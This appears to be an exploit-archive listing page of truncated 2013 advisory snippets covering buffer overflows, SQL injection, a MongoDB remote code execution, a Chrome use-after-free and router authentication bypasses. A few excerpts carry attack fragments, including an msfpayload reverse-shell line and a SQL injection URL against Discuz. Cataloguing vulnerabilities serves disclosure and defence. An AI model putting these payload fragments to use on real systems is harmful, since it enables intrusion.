Allied Telesyn TFTP (AT-TFTP) Server/Daemon 2.0 - Stack Buffer Overflow (Denial of Service) (PoC)

Exploit Title: AT-TFTP 2.0 long filename stack based buffer overflow - DOS Date: 12.04.2013 Exploit Author: xisone@STM Solutions Vendor Homepage: http://www.alliedtelesis.com/ Software Link:...

QNX Multiple Vulnerabilities

OVERVIEW Independent researcher Luigi Auriemma identified a stack-based buffer overflow and a buffer copy without checking size of input vulnerabilities in QNX’s Phrelay, Phwindows, and Phditto products without coordination with ICS-CERT, the vendor, or any other coordinating entity known to...

Freefloat FTP Server 1.0 - DEP Bypass with ROP

Freefloat FTP Server 1.0 - DEP Bypass with ROP !usr/bin/python Exploit title: FreeFloat ftp 1.0 DEP bypass with ROP Exploit Author: negux POC: http://www.exploit-db.com/exploits/24479/ Tested on : Windows XP SP 3 Spanish import socket,struct msfpayload windows/shellreversetcp LHOST=192.168.1.117...

ZAPms 1.41 - SQL Injection

============================================================================================================= o ZAPms = SQL Injection Vulnerability Software : ZAPms Version : 1.41 Vendor : http://www.zapms.de Author : NoGe Contact : nogedotcodeatgmaildotcom Desc : ZAPms is free open source web...

ZAPms 1.41 - SQL Injection

ZAPms 1.41 - SQL Injection ============================================================================================================= o ZAPms = SQL Injection Vulnerability Software : ZAPms Version : 1.41 Vendor : http://www.zapms.de Author : NoGe Contact : nogedotcodeatgmaildotcom Desc : ZAPms...

ZAPms 1.41- SQL Injection Vulnerability

Exploit for php platform in category web applications ============================================================================================================= o ZAPms = SQL Injection Vulnerability Software : ZAPms Version : 1.41 Vendor : http://www.zapms.de Author : NoGe Contact :...

MongoDB 2.2.3 - nativeHelper.apply Remote Code Execution

Title: MongoDB nativeHelper.apply Remote Code Execution Author: agixid http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/ Software Link: http://fastdl.mongodb.org/linux/mongodb-linux-i686-2.2.3.tgz Version: 2.2.3 The following PoC exploits the "nativeHelper" feature in the spidermonkey...

MongoDB 2.2.3 - nativeHelper.apply Remote Code Execution

MongoDB 2.2.3 - nativeHelper.apply Remote Code Execution Title: MongoDB nativeHelper.apply Remote Code Execution Author: agixid http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/ Software Link: http://fastdl.mongodb.org/linux/mongodb-linux-i686-2.2.3.tgz Version: 2.2.3 The following PoC...

Belkin Wemo - Arbitrary Firmware Upload

Belkin Wemo - Arbitrary Firmware Upload Exploit Title: Belkin Wemo Arbitrary Firmware Vulnerability Date: 4/3/13 Exploit Author: Daniel Buentello Vendor Homepage: http://www.belkin.com/us/wemo Version: Any version prior to WeMoUS2.00.2176.PVT CVE : CVE-2013-2748 POST /upnp/control/firmwareupdate1...

Google Chrome 26.0.1410.43 (Webkit) - OBJECT Element Use-After-Free (PoC)

---object-beforeload-chrome.html--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- function sprayOnemem, size, v var a = new Uint8ClampedArraysize...

Netgear WNR1000 - Authentication Bypass

Exploit for hardware platform in category web applications The web server running on the affected devices is subject to an authentication bypass issue that allows attacker to gain administrative access, circumventing existing authentication mechanisms. Strictly speaking, the web server skips...

Multiple Vulnerabilities in KrisonAV CMS

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in KrisonAV CMS, which can be exploited to perform cross-site scripting and cross-site request forgery attacks. 1 Cross-Site Scripting XSS vulnerability in KrisonAV CMS: CVE-2013-2712 The vulnerability exists due to...

绕过Disucz的@过滤补丁继续注入

简要描述： 过滤字符串中的@，但是始终没有修复根本问题 详细说明： 官方的修复代码加了一个if判断 ifstrpos$clean, '@' !== false return '-3'; 过滤字符串中的@，但是始终没有修复根本问题，用如下方法可以去掉$clean变量中的@ http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=' or @'' union select 1 from select count,concatselect database,floorrand02a from...

ClipShare 4.1.1 - gid Blind SQL Injection

ClipShare 4.1.1 - gid Blind SQL Injection Exploit Title: ClipShare 4.1.1 gmembers.php Blind SQL Injection Vulnerability Exploit Author: Esac Vulnerable Software: ClipShare - Video Sharing Community Script 4.1.4 Official site: http://www.clip-share.com Software License: Commercial. all versions ar...

Photodex ProShow Producer v5.0.3310 ScsiAccess - Local Privilege Escalation

Exploit for windows platform in category local exploits 1. ADVISORY INFORMATION ----------------------- Product: Photodex ProShow Producer 2. CREDITS ---------- This vulnerability was discovered and researched by Julien Ahrens from Inshell Security. 3. VERSIONS AFFECTED --------------------...

WordPress Plugin IndiaNIC FAQs Manager 1.0 - Blind SQL Injection

WordPress Plugin IndiaNIC FAQs Manager 1.0 - Blind SQL Injection Exploit Title: WordPress IndiaNIC FAQ 1.0 Plugin Blind SQL Injection Google Dork: inurl:wp-content/plugins/faqs-manager Date: 21.03.2013 Exploit Author: m3tamantra http://m3tamantra.wordpress.com/blog Vendor Homepage:...

WordPress IndiaNIC FAQS Manager 1.0 SQL Injection

Exploit Title: WordPress IndiaNIC FAQ 1.0 Plugin Blind SQL Injection Google Dork: inurl:wp-content/plugins/faqs-manager Date: 21.03.2013 Exploit Author: m3tamantra http://m3tamantra.wordpress.com/blog Vendor Homepage: http://wordpress.org/extend/plugins/faqs-manager/ Software Link:...

BlazeVideo HDTV Player 6.6.0.2 Buffer Overflow

Exploit Title:BlazeVideo HDTV Player Standard 6.6.0.2 SEH Buffer Overflow Date: 19-03-2013 Exploit Author: metacom RST Vendor Homepage: http://www.blazevideo.com/hdtv-player/ Download version 6.6.0.2: www.blazevideo.com/download.php?product=blazevideo-hdtv-std Version: BlazeVideo HDTV Player...

BlazeVideo HDTV Player Standard - .plf File Remote Buffer Overflow

BlazeVideo HDTV Player Standard - .plf File Remote Buffer Overflow source: https://www.securityfocus.com/bid/58624/info BlazeVideo HDTV Player Standard is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. Attackers may...

WordPress Count per Day Plugin 3.2.5 (counter.php) - XSS Vulnerability

Exploit for php platform in category web applications Because this is my first Vulnerability I ever found by my self, I wrote a PoC script I know that this is overkill and the Vulnerability is trivial to exploit :P The JavaScript Payload is executed when the Admin views Count per Day - Statistics...